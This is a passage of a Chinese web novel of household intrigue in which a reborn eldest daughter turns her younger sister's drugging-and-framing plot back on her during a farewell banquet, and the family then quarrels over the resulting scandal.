但晏明修却没能控制自己的表情,恨恨地盯着晏逐星,像是恨不得扒她的皮抽她的筋。
“二哥,你这么看我做什么?”晏逐星和他对视,没有丝毫慌张。
她一开口,在场的人便全都看向了晏明修。
晏明修脸上瞬间露出了惊慌的神色。
尤其是被父亲盯着的时候,他感觉膝盖隐隐作痛,赶忙收回了眼神:“没有,我只是舍不得舅母和表哥离开。”
“你这孩子,舅母也舍不得你呀。”姜清屏笑着摸了摸他的脑袋。
“都坐吧。”定远侯发话。
这场践行宴,在场的人各有自己的小心思,一顿饭除了定远侯和晏明修,其他人吃得都没什么滋味。
晏明月主动举杯敬了姜清屏母子。
“此去青州山高水长,日后要劳舅母费神了。今日明月以茶代酒,还望舅母莫要介怀。”
“万事都有舅舅和舅母在。莫要担心。待你面容恢复如初,青州的青年才俊,恐怕都要踏碎咱们温家的门槛。”姜清屏笑呵呵地举杯回应。
温如霜和定远侯听到这话,都安心了不少。
因为那日钱氏当场撞柱,威宁侯府死活不肯松口接纳晏明月。停妻再娶不可能,平妻亦是不可能,换威宁侯府嫡子来娶晏明月那是更不可能的。
庶子他们也不愿。
非要嫁到威宁侯府只有一条路,那就是做妾。
这话太过荒谬,定远侯当场和他们撕破了脸皮,两家彻底谈崩了,老死不相往来。
得知温如霜已经托娘家人照看晏明月的婚事,定远侯心口堵着的气总算散开了。
他也乐呵呵地举杯要敬姜清屏。
你来我往,酒过三巡,在场的人至少都喝了两杯酒后。
温韫率先站了起来,提出告辞:“姑父,小姑,我有些不胜酒力,想先回去休息了。”
温如霜赶忙道:“好,那你快回去歇息,小姑这就命人给你送些醒酒汤去。”
“多谢小姑。”温韫点头道谢,给了晏明月一个眼神。
晏明月微微颔首。
温韫走了没多久后,晏明月忽然摸了摸自己的耳垂,惊讶地开口:“咦,我的耳坠子怎么不见了?莫不是先前落在去寻姐姐的路上了。姐姐,要不让你的丫鬟帮我去找找吧。”
第57章 插翅也难飞
“好,九栀,你去吧。”晏逐星点头答应。
晏明月没想到计划会这么顺利。
晏逐星竟然答应得那么痛快。
她心里隐隐有些不安,太顺利了反倒让她心中起疑。
她握着筷子,无意识地捣着碗里剩下的菜。
温如霜不能久坐,因而第一个退席了。
姜清屏则打算等儿子透气回来,再和他一块离席。
约莫过了一刻钟,两个丫鬟都没回来,晏明月也亲眼看到了晏逐星喝下了她命人加了药的茶。
她决定还是赌一把,一切按照原计划进行。
她看向晏逐星:“姐姐,我明日便要离开侯府了,下一次见面还不知道是什么时候呢,还有许多东西没收拾,不如你陪我一起吧。”
晏逐星没有马上答应,反倒看向了定远侯。
定远侯忙道:“去吧,你们姐妹二人好好说说体己话,总归是一家人。”
“嗯。都听爹爹的。”晏逐星点头应下。
晏明月舒了一口气。
她就知道,有父亲发话,晏逐星一定会同意的。
“不如我和二弟也一块去吧。”晏明远忽然开口,打断了她的计划。
“不用了。我和姐姐都是姑娘家,单独说话更方便。大哥,你好好照顾二哥,不要来凑热闹了。”晏明月赶忙拒绝。
她紧张地盯着晏逐星,生怕她会要求两位兄长一块去。
这个计划她只知会了表哥,万一大哥二哥插手,那就全毁了。
晏明远看向晏逐星,见她连正眼都不愿意给自己一个,心里有些难受。
父亲母亲和二哥她都喊了。
怎么就偏偏不喊他这个大哥。
晏明远见她这般坚决,而晏逐星又无视了他,便没有强求。
“行吧。那我让人护送你们回院子。”
“不必啦,有莲儿呢。”晏明月努努嘴,指了指身旁的丫鬟,拒绝了她的提议。
而后飞快推动晏逐星的轮椅,将她带走,生怕晏明远会追上来。
走到一半,晏明月支开了身边的丫鬟:“莲儿,你先回院子里帮我取件披风来,有些冷。”
“是。”莲儿应了一声,赶忙往瑶华院跑去。
晏明月推着晏逐星往另一个方向走去。
晏逐星面无表情道:“二妹妹,这不是去瑶华院的路吧。”
晏明月微笑开口:“姐姐,你不是有话要和表哥说,特意让我将你送过来的么。”
她盯着轮椅上的晏逐星,盘算着时辰。
腿上有伤又中了药,待会儿她便是插翅也难飞。
等莲儿取完披风回来寻不到人,必定要去宴席上闹。
等各处都寻不见踪影,父亲母亲定会发动全府搜寻。
到时候他们撞见中药的晏逐星和表哥躺一块儿,就是浑身长嘴也说不清了。
然而事情完全不像她猜测的那般发展。
晏逐星既未出言质问,也没有流露出半分慌乱。
她勾着唇,嘴边是嘲讽的笑,倒像是早看穿了这场戏码。
“九栀,出来吧。”
晏逐星轻声开口。
她声音落下,晏明月便瞧见了先前被芙儿带走的那个丫鬟,不知道什么时候跟在了他们身后。
“你怎么会在这?”晏明月露出了不可置信的表情。
两人却丝毫没有跟她解释的意思。
“九栀,动手吧。”
这是晏逐星跟她说的第三句话。
晏明月还没来得及惊叫出声,就被九栀用一张帕子捂住了口鼻。
她想要挣扎,却身子一软,动弹不得。
“将她扔到温韫身边去吧。”晏逐星吩咐了下去。
“是。”九栀扛起晏明月就把她扔到床上,反手将屋子里的**香换成了催情香。
先前芙儿领着她说是要给二小姐找耳坠子,结果竟然想对她下黑手。
好在大小姐提前提醒过她,她直接将芙儿打晕捆了起来。
如今二小姐和表少爷都中了药,再加上这催情香,待会场面肯定会很激烈了。
“走吧。”晏逐星让九栀将她推回了玉澜院。
她什么额外的举动也没做,只等着侯府众人撞破这事。
上回在威宁侯府,他们想用这个药毁了她,这一回,就让晏明月也尝尝这个
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药的滋味吧。
*
莲儿回瑶华院拿完披风,原路返回没看到两位小姐,只得折回了践行宴。
晏明远一眼就瞧见了站在门口张望的她。
他猛地站起身询问:“你不是送大小姐和二小姐去回院子了么,怎么回来了,出什么事了吗?”
莲儿吓了一跳,赶忙把事情说了一遍。
“去找两位小姐。”晏明远当即吩咐了下去。
当时两个妹妹离开时,星儿身边没有自己的丫鬟,腿脚还不方便,若是出事了,她跑都没法跑。
下人立刻动了起来。
但晏明远还是不放心,放下筷子起身跟着去找了。
姜清屏也觉得不对劲,儿子透气的时间是不是也太久了一点。
但想着儿子身边跟着自家的小厮,一个大男人,应该不会出什么事吧?
“明远,等等,我和你一起吧。”姜清屏也起身。
她都去找人了,定远侯也没法独坐在原地,只得一块起身找人。
温如霜得知女儿和晏逐星不见了的消息,暗道不好。
“明日就要离开侯府了,这个节骨眼,明月不会出事吧。”她有些懊恼自己为什么那么早离席。
若她在,肯定不会让女儿和晏逐星那个心机叵测的野种单独离开。
但现在说什么都晚了。
“去找二小姐,找到了不管发生什么事,都先带她来见我。”温如霜赶忙吩咐了下去。
“是。”李氏着急忙慌地去找人。
她心里忍不住埋怨晏明月不省心。
夫人都给她找了多少条生路了,怎么一天天的,就是不肯消停呢。
“大小姐回玉澜院了,正沐浴呢。”
很快就有人将晏逐星的下落告知了晏明远。
而晏明月却不在自己的瑶华院,出来透气的温韫也没在附近,回晏明修的院子也没找到他人。
“不会出什么事了吧?”姜清屏顿时腿软。
晏明远和晏明修同时伸手搀扶她:“舅母莫要太担心,已经派人在找了。”
话音刚落,管家便匆匆忙忙领着温韫的贴身小厮平安来了。
第58章 撞破了**
“韫儿呢?”姜清屏当即质问。
“少爷说要去透个气,让我不必跟着,先回院子里清点明日的行囊。可别落下了东西。”平安满脸焦急。
他不过回去清点了一会儿行李,少爷怎么就不见了。
“怎么办?韫儿不会出事了吧。”姜清屏腿一软,差点跌坐到地上。
幸好晏明修和晏明远眼疾手快地搀扶住了她。
“还没找到人么?”晏明远看向管家。
管家露出了为难的神色,似乎有些难以启齿。
见他这副表情,姜清屏直起身急得直跺脚:“你快说啊!!!是不是韫儿出事了?”
“没听到舅母问你话么。”晏明修跟着呵斥。
管家赶忙弯腰行礼回话:“虽未找到人,但暖香坞那边有动静。我等不敢擅作主张,还请侯爷亲自走一趟。”
“什么动静还得本侯亲自去一趟。”定远侯今夜喝得有点多,此刻脑子有些晕乎。
“走吧,带路。”
管家应了一声,赶忙将人领了过去。
几人一到暖香坞,便明白了管家先前为什么会是那个表情。
暖香坞里传来了激烈的撞击声和女子的呻吟声。
明眼人一听就知道里边正在发生什么事。
晏明远和晏明修下意识地就联想到了先前失踪的晏明月和温韫。
姜清屏也和他们想到一块去了,脸色一瞬间变得煞白。
定远侯听到这个动静,顿时勃然大怒:“谁竟敢在侯府光明正大行这等苟且之事?!”
他一时间没反应过来,里边很可能是自己的大外甥和女儿。
“把门撞开,将这对不知羞耻的野鸳鸯给本侯抓出来!”他厉声呵斥下命令。
“不,不行。”姜清屏赶忙阻止,“妹夫,没必要这么大的阵仗吧。”
定远侯见她眼里露出惊慌,猛地反应了过来里边的人是谁。
他反倒下定了决心,上前就踹开门:“这种不守规矩的下人,何必给他们留面子。”
若里边真的是温韫和明月。
正好逼温家人认下这个儿媳妇。
就不用担心明月嫁不出去了。
门被踹开,所有人都看到了温韫正搂着晏明月行不可描述之事,丫鬟们惊呼一声,都捂住了眼睛背过身去。
两人神情迷醉,冷风灌入后猛地清醒了过来,赶忙停止了动作。
“你们这是在做什么?!”定远侯厉声呵斥。
姜清屏看清这一幕,当即软了身子晕了过去。
晏明月大脑一片空白。
怎么会是她和表哥?
温韫惊得想要起身去看自己的娘亲,但又意识到自己如今还未着衣裳,赶忙道:“快给娘亲请大夫!”
“温韫,你对我妹妹做了什么?!”晏明修怒不可遏,扑上去就要揍他。
晏明月混沌的脑子在这一刻终于清醒了过来。
她慌乱地用被子裹住自己,一把推开温韫,自己对上晏明修。
“二哥,是大姐姐的丫鬟将我迷晕送进屋子里的!”她着急地替自己辩解。
一句话让在场的人全都愣住了。
“我就知道那野丫头不怀好意,我这就找她算账去!”晏明修气得浑身发抖。
晏明远下意识地拦住了他,质问晏明月:“星儿的丫鬟不是被你叫走去找耳坠子了么,后来只有你和你的丫鬟带着她离开的。她的丫鬟怎么迷晕你的?”
晏明月也不知道该如何解释这一切。
明明现在该被质问训斥的人是晏逐星才对呀。
她委屈地落下了眼泪,推了温韫一把:“表哥,你说句话呀。”
温韫也没想到事情会演变成这样。
他回忆着先前发生的事情。
他按照和晏明月约定好的,带着信来到了暖香坞。
他闻着屋内的香气,不知不觉就晕了过去。
事到如今,他还不知道发生了什么事情。
只得僵硬地按照之前的说法解释:“我出来透气,遇到了逐星表妹。她以书信纠缠我,我正训斥她女儿家不知羞,突然就眼前一黑了……”
“那香,那香肯定有问题!”他信誓旦旦地指着屋内燃尽的熏香。
“书信?是这个东西么?”晏明修眼尖地看到了地上散落地几页纸。
“对。”温韫忙点头。
晏明修捡起来扫了一眼,顿时激动地嚷嚷了起来:“这就是晏逐星的字迹,我认得!!!”
再一看上边写的那些露骨内容,气得大骂:“真是个不知廉耻的东西,竟然还敢肖想表哥。”
晏明远一把抢过,看得怒火也升了上来
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。
这还真是星儿的字迹。
定远侯没想到此事竟然还牵扯到了晏逐星。
若是让晏明月嫁到温家当正妻,他觉得是个不错的出路。
而如今晏逐星得了皇后和烈国公夫人的宠爱,让她嫁去温家,那就有些可惜了。
见他迟疑着不说话,晏明远小声提醒:“父亲,先让他们把衣裳穿好吧。”
“哼。去把夫人和大小姐都请来。”定远侯冷哼一声,带着几人往正厅走去。
没过多久,温如霜和晏逐星一前一后地抵达了。
“你这个混账,你害了明月一次还不够,还要再害她第二次吗?”温如霜恨不得将她活剥生吞了。
明明她已经给女儿找了一条绝处逢生的路,晏逐星竟然又毁了。
姜清屏也已经悠然转醒,听到这话,她立刻起身走向晏逐星,抬手就要扇她耳光。
结果被衔蝉拦住了。
“你个贱婢,滚开。我教训人,轮得到你插手么。”姜清屏恨恨开口。
“衔蝉是永安王府的人。管教她,轮不着舅母出手哦。”晏逐星笑眯眯地看着她。
姜清屏被她的笑勾起了怒火,想要推开衔蝉继续冲她去,就被定远侯给呵斥住了。
“大嫂,事情还未有定论,您现在动手是不是也太早了?”
姜清屏退后两步,坐回了原位。
“妹夫,今夜之事你必须要给我一个交代。我们韫儿早已定亲,明年三月就要成婚了。这可如何是好啊。”她气得涨红了脸。
若纳晏明月为妾,和侯府的关系就要闹僵了。
可若退了林家的婚事,林家那边也不好交代啊。
她一时间头痛欲裂,后悔来这一趟了。
定远侯听着这话心里很不舒服。
什么叫他要给她一个交代。
现在是他女儿被她儿子占了便宜好不好!
“爹爹,究竟发生什么事了?为什么母亲和舅母都一副要杀了我的模样?”晏逐星的尾音哽在喉间,像是被满屋子**的目光吓住了。
定远侯便将先前发生的事情简略地说了一遍。
晏逐星猛地后仰撞得轮椅“咯吱”后滑半尺,她当即举手发誓,喉间带上了哭腔:“我对天发誓,此事与我绝无半点关系。还请父亲明鉴!”
第59章 不该瞒着的
“你还装!当时就是你身边的这个丫鬟用帕子把我迷晕的。”晏明月气疯了。
晏逐星如今扮柔弱装可怜的伎俩都是她用过的,她一眼就看穿了,她都是装的。
“二妹妹,说话要讲证据的。我知道你不喜欢我,但也没必要三番五次污蔑我。”晏逐星红着眼眶看向她。
“你要证据是吧,这就是证据。”晏明修把那些写满了情话的信砸到了晏逐星脸上。
晏逐星随手抓一起一张,扫了一眼,摇头道:“这不是我的字迹。”
“胡说!你之前**的字,是大哥和我教的,我们都认出来了,这就是你的字迹。你还敢狡辩?”晏明修气得脸红脖子粗的,像是她再不承认就要冲上来将她打一顿了。
“星儿,你若心仪表哥,可以让父亲母亲去说,何必做出这样败坏门风的事情。”晏明远叹了一口气,眼里满是失望。
晏逐星嗤笑一声:“大哥,我还真以为你变了。这不和之前也没什么区别嘛。”
晏明远抬头看向她,见她唇边挂着讽刺又疏离的笑,一时间愣住了。
“我和晏明月有了矛盾,你们还是不听我辩解就默认一切坏事都是**的。”晏逐星冷笑着举起了手里那封信。
“这信上的字迹,都已经是我五年前的字迹了。这几年我从未有功夫练字,如今的字迹早就不是这样的了,这分明是旁人伪造的。”
晏明远听到这话,心尖上像是被人用针狠狠扎了一下。
“衔蝉,你去将我这几日练习的字取来,让父亲他们好好比对。”晏逐星冷冷地下命令。
晏明月没想到晏逐星如今字迹竟然变了。
她害怕之后还会有变故,只能尽快将黑锅扣在晏逐星身上:“那万一是你最近故意改了字迹呢?表哥都亲口说了,当时这信就是你给他的。”
“我根本就没见过温韫,何谈给他送信?”晏逐星依旧十分淡定。
“而且,有皇后娘娘和烈国公夫人在,我何愁嫁不出去,为什么要去攀扯一个温韫?”
姜清屏母子听到这话顿时就不乐意了。
怎么听晏逐星这话,好似还瞧不上他们温家?
没等晏明月反驳,晏逐星又脱口而出:“反倒是你,失了清白后威宁侯又不愿意娶你当平妻,只许你嫁过去当妾,你这才狗急跳墙算计的温韫吧。”
“什么?”姜清屏母子同时惊呼出声。
温如霜没想到她瞒了这么长一段时间的事情竟然被晏逐星给说了出来。
“混账,你给我住嘴!!!”温如霜恨不得从轮椅上扑过去,撕烂晏逐星的嘴。
“不,不是的。”看到舅母和表哥怀疑的眼神,晏明月急忙摇头。
“我绝对没有算计表哥。”
“小妹,失了清白到底是怎么一回事?”姜清屏浑身战栗如坠冰窟,怒火却在胸腔沸腾。
她一心一意帮她巩固地位,结果她竟然让女儿算计她儿子。
“嫂子,事情不是你想的那样。”温如霜慌张地解释了起来。
“明月只是在玄空寺落水,得了威宁侯相救。威宁侯比我尚且年长几岁,他只是单纯的救人,什么也没发生呀。”
“可全京城的人都知道这事了呀。母亲,您为何要瞒着舅母呢?”晏逐星继续补刀。
“你闭嘴!”温如霜的嘶吼都带着怒火。
“小妹,我拿你当一家人,你却将这么重要的事情瞒着我?”姜清屏的心彻底冷了。
“不是的,嫂子。”温如霜追悔莫及。
她不该瞒着嫂子这件事的。
她那不是怕嫂子回青州说漏嘴,让明月在青州难堪么。
一旁的温韫露出了恍然大悟的神情。
他伸出手指向晏明月:“所以,从头到尾你算计的都不是晏逐星,而是我?”
晏明月把头摇得像拨浪鼓。
“不,不是的。表哥你听我解释。我知道你明年就要娶妻,我怎么可能做这样的事情!”
晏逐星饶有兴致地看着他们争执。
今夜的戏可真精彩啊。
晏明月即便能用此事要挟温韫嫁进温家,此后也不会受温家人待见。
他们一定会恨死她。
她在温家的日子也不会好过。
温如霜若是选择护住女儿,就势必要跟娘家人闹翻。
若是选了娘家人,就定会和晏明月这个女儿离
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心。
这一局,温如霜母女,无解。
“**。”姜清屏不敢动手打温如霜,抬手就给了边上的晏明月一巴掌。
“你个丑八怪竟然敢算计我儿。”
她的指甲很长,扇晏明月耳光时,勾到了她的伤疤,直接勾出了一道血痕。
晏明月感觉脸上有些湿漉漉的,颤抖着伸手一摸,发现是血。
“我的脸啊!”她尖叫一声就要扑上去和姜清屏拼命。
温韫上前阻拦,推开了她。
晏明远和晏明修自然要上去护住妹妹。
双方打得不可开交。
定远侯被这一场闹剧气得眼睛都瞪圆了。
“都给我停下来!!!”
他大吼一声,在场的哭泣的,慌张解释的,打个不停的全都安静了下来。
这时,衔蝉拿着晏逐星平日临摹的字帖走了进来。
定远侯两相对照,一下就发现了不同。
他阴沉着脸没说话。
林管家这时也领着蔓儿走了进来。
看到蔓儿,晏明月脸色一变。
“说吧,二小姐昨日让你出府买的是什么。”林管家直勾勾地盯着蔓儿。
“是让人情迷意乱之药。”蔓儿说完便垂下了头。
她因为上回玄空寺的事情被罚,受了伤,需要出府去买药换药。
因而二小姐便将此事交给了她办。
“你胡说,我没有让你买过这种药。”晏明月慌张地辩解了起来。
“你是因为上回被罚,对我怀恨在心。”
但如今她说什么都已经晚了。
众人都已经对晏逐星的说法坚信不疑,都认定她是嫁不出去所以才对温韫下药。
“爹娘、大哥、二哥、舅母、表哥,你们要相信我啊!!!”她哭着看向众人。
她没想到,她所做的一切诬陷晏逐星的事情,如今都成了她算计温韫的罪证。
“够了!你还嫌不够丢人吗。”定远侯厉声呵斥,给了管家一个眼神,让她捂住晏明月的嘴不许她再开口。
晏明月拼命挣扎了起来。
她明明看见晏逐星喝下了加料的酒,为什么她却毫发无损,依旧好端端地坐在轮椅上。
第60章 占了她身子
她有太多话想问,但是却没有机会,直接被拖了下去。
晏明修又惊又气,同时还放心不下亲妹妹。
他着急地看向父亲:“爹,二妹妹最是纯善,不可能做这些事,一定是被人污蔑的。”
说完他伸手指向晏逐星。
晏逐星立刻接话:“我懂我懂,二哥要说这事肯定是**的了。反正不会是你那个纯善的妹妹干的。”
晏明修要说的话被她抢先一步说完了,整个人噎在了原地,一时间张着嘴不知道该怎么反驳。
“蠢货,滚下去。”定远侯冷冷地瞥了他一眼。
晏明修不服气,定远侯又道:“是又想去祠堂罚跪么?”
想到前两日的惨状,晏明修闭嘴了。
晏明远上前:“父亲……”
还没说完,就被暴躁的定远侯打断了:“你也滚。”
晏明远知道父亲现在很不高兴,于是识相地闭上了嘴。
看到大哥也被训斥,晏明修心里平衡多了。
“爹爹,那我也先回屋了。”晏逐星主动提出告退。
“嗯。去吧。”定远侯点了点头。
将孩子们都赶走后,屋子里只剩下了定远侯夫妇和姜清屏母子四人。
“此事侯府必须给我们一个交代。”姜清屏冷漠地开口。
温如霜心乱如麻,不知道该如何是好。
一方面担心女儿受了那么大的打击会想不开,另一方面又担心娘家人从此与她断绝往来。
她有些尴尬地开口:“嫂子,此事或许有什么误会……”
“还能有什么误会,人证物证确凿!”姜清屏冷漠开口。
“嫂子这话说的,怎么就人证物证确凿了。”酒醒后,定远侯清醒了不少。
“韫儿自称手里的信是星儿给的,可星儿压根没见过他吧。”
“还有,今夜没喝几口酒,韫儿就离席迟迟未归,这中间究竟发生了什么,谁也不清楚吧。”
他将先前的疑点抽丝剥茧说了出来。
“你这话什么意思?你的意思是说今夜之事是我韫儿谋划的咯?”姜清屏好不容易压下去的火,一下就窜了上来。
“嫂子,我没有别的意思。事情已经发生,韫儿也占了明月的身子,理该对她负责。”定远侯抓住重点。
“不行,我已经答应了淑儿回去成婚的。”温韫当即拒绝。
“一切都是明月表妹拜托我帮忙,才会造成现在这个局面的。”
他赶忙将晏明月的计划和盘托出,最后还不忘将自己从整件事情里摘出去。
“她只让我拿着这些信训斥逐星表妹不知羞耻,下药之事全然没告诉我呀。如果告诉我,我肯定不会答应她的。”
温如霜听得眼前一黑又一黑。
这个女儿怎么能那么蠢!!!
明知道晏逐星不好惹,怎么还用这样拙劣的计划去陷害她。
定远侯听完对晏明月彻底失望了。
曾经还有美貌,如今美貌与脑子都没有,留着也没什么大作用了。
“我不管你们是怎么约定的,但事实就是你已经占了明月的身子。”定远侯冷淡地开口。
“她日后还怎么嫁人。”
姜清屏气急败坏道:“妹夫,你别以为我们没去打听就不知道情况,先前晏逐星可是说了,晏明月现在根本嫁不出去!你们休想赖上我家韫儿。”
“怎么能叫赖上呢?”定远侯打定主意要将女儿塞到温家去,语气十分坚决。
“你们若是不愿意,那我便等到韫儿大婚那日,将明月送去,让她请温家老祖宗们做主了。”
“你!”姜清屏气得胸口连连起伏,要不是儿子一直帮她拍背顺气,她恐怕都要气晕了。
温如霜听着两人争执,心乱如麻,当场就晕了过去。
她这一晕,惊得李氏忙叫大夫。
姜清屏和定远侯爷停止了争吵。
“大嫂,明日你们再留一日吧。待到这事商议出章程,再离开吧。”定远侯做出了决定。
“用得着你说。”姜清屏现在对
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定远侯府一家都是一肚子气,看谁都不顺眼。
她扯着儿子就离开了。
而后连夜写信让人送回青州,将此事原原本本地告知夫君。
好让他知晓,他的好外甥女究竟做了什么。
定远侯让人看好晏明月,不许她闹自尽。
“若二小姐出了任何差池,你们都得跟着陪葬。”
甩下这么一句话,定远侯烦躁地回了自己的院子。
这一刻,他格外想念阮寄薇。
阮寄薇如同一朵解语花,和她待在一起,他感觉自己好似年轻了十几岁,仿佛回到少年时,所有烦心事都烟消云散。
如今,他只盼着快点将温家人送走,好接阮寄薇过门。
*
当夜,定远侯府灯火未灭,人人无法安眠。
打了一场胜仗,晏逐星满意地让小厨房做了夜宵加餐。
天气冷了,睡前来一碗热乎乎的茯苓牛乳羹很是舒服。
她坐在桌前,慢条斯理地用餐,一旁的双鲤没忍住问出了好奇已久的问题。
“小姐,您都知道二小姐往酒里下了药,您怎么还喝了呀?您就不怕出事吗?”
他们知晓了倒酒的那个丫鬟被二小姐收买后,就一直盯着她,看她什么时候会动手脚。
果不其然,在表少爷走之后,她就偷偷往酒里加了东西。
她瞧见后,抢先一步告知了九栀,让九栀转告小姐。
没想到小姐接过酒壶,亲自给自己倒了一杯酒,喝了下去。
当时可把她给吓坏了。
“答案就在此壶中。”晏逐星笑意盈盈,指着桌上被替换回来的酒壶。
“这壶也没什么特别的呀。”双鲤捧着酒壶看来看去,看不出个所以然来。
九栀和衔蝉也好奇地凑了过来,三人愣是没一个看出问题的。
“小姐,您就别藏着掖着了,您比我们都聪明,您就告诉我们吧。”双鲤扯着她的手撒娇。
“您要是不说,今夜一整晚我都要睡不着了。”
第61章 侯府又出事
晏逐星将最后半勺牛乳羹咽下,放下了手中的白瓷匙,笑着将那个酒壶接过来,拇指在壶腰凸起处拨弄了一下。
只听“咔哒”一声响。
原本该倒出的琥珀色酒液竟成了透明无色的泉水。
三人都惊讶地瞪大了眼睛。
原来是壶中藏着两重天地,轻轻一拨机关就换了里边的东西。
“怪不得小姐让我将酒壶给提前换了呢。”九栀喃喃自语,“这可真是个好东西。”
晏逐星笑眯眯地点头:“那当然啦,我亲手做的东西,能不好吗。”
上辈子,她在军营里喝酒喝不过别人,便央着军器监出身的军中好友萧檀帮她想出了这么一个**的法子,悄悄将酒壶给改造了一番。
只需轻轻按下凸起的位置,两重酒室在壶腹内就可以不露痕迹地调换方位。
见识到这精妙的机关后,九栀猛地想起了被她捆起来的那个小丫鬟。
“对了,小姐,那个芙儿要怎么处理呀?”
晏逐星略一思忖,开口道:“将她放了。”
“放了?万一她要是把九栀姐姐绑她的事情说了怎么办?”双鲤顿时急了。
“无所谓。她说了也不会有人信的。”晏逐星微微一笑。
晏明月的话定远侯他们都不信,何况一个小丫鬟的话。
就该让她也尝尝百口莫辩的滋味。
就像上辈子她被所有人当成疯子一样,现在该轮到晏明月体验什么叫绝望了。
而且,再弄死一个丫鬟引得裴明镜找上门来,那可就不妙了。
她如今得罪了他的母亲,还是离他远远的好。
“是。”九栀没想太多,小姐让放人她就放人了。
芙儿被扔到了瑶华院的狗洞附近。
声响引起了院里洒扫丫鬟的注意。
“是芙儿!”
她惊呼一声,让晏明月猛地站了起来。
“把她带上来。”她咬牙切齿地下令。
她要知道,之前究竟发生了什么,她为什么会失败。
芙儿还在昏迷,被一瓢冷水浇到了脸上,瞬间冻醒。
“二、二小姐。”她哆哆嗦嗦地开口。
“说,究竟发生了什么事?”晏明月脸上满是狠辣。
先前被掀翻的伤痕让她此刻看起来更加恐怖了。
“我一切都按照您的吩咐去办的呀,是大小姐的丫鬟将我打晕了。”芙儿哭着开口解释。
晏明月脸色愈发阴沉,她猛地将茶盏摔到地上。
茶盏碎裂的声音让众人都哆嗦了一下。
晏明月弯腰捡起一块碎瓷片,盯着芙儿的脸。
芙儿一瞬间感觉自己好像被一条阴冷的蛇给盯上了。
她浑身控制不住地颤抖,晏明月捏着她的下巴,冷笑:“真是个没用的东西。”
预感到危险来临,芙儿连连求饶:“二小姐饶命呀,二小姐我错了,您饶了我这一回吧。”
“晚了。”晏明月抬手将碎瓷片划破了芙儿的脸。
芙儿惨叫一声晕了过去。
晏明月这才将染血的瓷片扔到地上,冷冷道:“将她抬走,别让她**。否则她的下场,就是你们的下场。”
“是。”丫鬟们不敢多言,急忙将屋内的狼藉给收拾干净。
经历了今夜的打击,晏明月反倒冷静了下来。
是她小瞧了晏逐星,以为她还是从前的废物,没想到她竟然已经成长到了这样的地步,还找到了不少帮手。
她看着铜镜里的自己,摸了摸脸上的伤疤,一字一句道:“晏逐星,我不会放过你的。”
她也不会就这样被击垮的。
她是侯府的真千金,她比晏逐星尊贵百倍千倍。
她一定要过得比她更好。
*
定远侯府的热闹,停云瞧得是一清二楚。
他风风火火地跑回了永安王府。
“王爷,定远侯府又出事了。”
“又出什么事了?”谢翊宁继续看着照夜送回来的证据,头也不抬。
停云迅速道:“侯府二小姐和侯府表少爷行苟且之事被人当场逮住了。”
“说重点。”谢翊宁不耐烦地抬头。
一旁的照夜疑惑地皱紧了眉头,这种琐事停云告诉王爷做什么。
他不在京城里的这段时间,究竟发生了什么事?
停云小心翼翼地补充:“此事应当是晏大小姐暗中谋划的。她尚未及笄,就有如此心机,往后……”
他没说完,但却忍不住摇头。
若以后他娶的是这样一个满是心机的女人,他怕是活不过三朝回门。
谢翊宁挑眉,露出了骄傲的笑:“不错。尚未及笄就有这样的手段,足以见得她的聪慧。日后她若是嫁了人,本王也不必担心她在后宅受人欺负了。”
停云:……
得,白说了。
他就知道王爷眼里晏大小姐什么都好,做什么都是对的,他真是多此一举。
照夜:???
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什么情况,他彻底听迷糊了。
先前他还以为王爷看上的是定远侯府的二小姐,后来又以为是大小姐,但怎么听着王爷的意思是想让大小姐嫁给别人?
“行了。侯府那边有衔蝉在,你不必时常盯着了。本王还有更重要的事情要办。”谢翊宁知道晏逐星打赢了这场“仗”,便放心下来没有细问,而是说起了正事。
“明日照夜随本王一块入宫,见父皇。”
照夜从南阳带回了当地官员修水坝贪赃枉法的证据,他得将证据交给父皇。
他记得上一世在太子妃嫂嫂诞下女儿的次年四月中旬,南阳连下了七天七夜的暴雨,堤坝被洪水冲垮,成千上万的百姓流离失所,**不少人。
尸体堆里滋生的瘟疫又夺走一城人的性命
同年六月,许州大旱,地缝裂得能吞人。粮食锐减,百姓被渴死饿死。
连着遭遇了两次天灾,坊间流传起父皇失德招来天谴的谣言,御史们捧着万民书,硬要父皇下罪己诏。
明明父皇上位以来勤政爱民,为百姓做了不少好事,到头来却要被泼上无道昏君的脏水。
重活一世,他一定要保住父皇的名声,更要救下那些本该好好活着的百姓。
*
翌日清晨,定远侯府笼罩着一股压抑的气息。
温如霜醒后,独自垂泪到天明。
自打她瘫痪后,侯府好像就变天了。
一桩桩一件件的事情,几乎都在把她往绝路上逼。
女儿和娘家,她真的不知道该怎么选。
此事确实是女儿挑起的祸端,但女儿也确实失了身,这事她真的进退两难。
要是昨夜和温韫颠鸾倒凤的是晏逐星就好了。
那她根本就不用纠结,直接将晏逐星以勾引表兄的名义逐出家门。
“怎么出事的不是那个贱丫头。”温如霜狠狠将筷子拍到桌上。
周边伺候她用膳的丫鬟瑟瑟发抖,紧紧抿唇,不敢发出半点声音,生怕触怒了她。
温如霜深吸一口气,询问道:“二小姐呢?可曾用过膳了。”
“二小姐绝食了。”丫鬟小心翼翼地回答。
温如霜感觉头更痛了。
这种时候,绝食有什么用。
偏偏这个时候,姜清屏还找过来了。
“小妹,你们该给我们一个说法了吧。”她冷冷开口。
温如霜意识到,娘家和女儿,她必须做出一个决断了。
第62章 做妾又如何
“嫂子,昨夜之事,是我们先对不起你们。”温如霜放软了姿态。
若明月嫁过去,嫂子就是婆婆,她若针对明月,那明月就真的是有苦说不出了。
毕竟婆婆管教儿媳,天经地义。
姜清屏冷着脸没说话。
一句轻飘飘的对不起可没法平息她的怒火。
一大早,她就派人出去打听了晏明月和威宁侯的事情,打听完她几乎要吐血了。
威宁侯府老老少少都不要的人,现在硬要塞给她儿子当正妻,她是绝对不会同意的。
见她不回应,温如霜只能硬着头皮道:“嫂子,明月还小,犯了糊涂,你就原谅她这一回吧。毕竟怎么说,你都是她的亲舅母啊。”
“行啊,我原谅她,这事就当没发生过。”姜清屏斩钉截铁地回答。
温如霜脱口而出:“那怎么行。”
“难不成你还想让韫儿娶她当正妻?”姜清屏拔高了音调。
“林家那边我们早就定下亲事了,不可能换儿媳妇。”
“平妻不行么?”温如霜伸手去拉她的手。
“嫂子,如今错误已经酿成,你若不让韫儿娶明月,她就没有活路了呀。她只能绞了头发当姑子去。”
温如霜说着眼泪就掉了下来。
但姜清屏不吃她这一套,直接甩开她的手。
“林家也不是什么小门小户,人家断然不会同意平妻的。最多让她给韫儿当妾。”
温如霜早就预料到了这个结果。
她心如刀割,让她精心教养的女儿去当妾,她是万万不愿的。
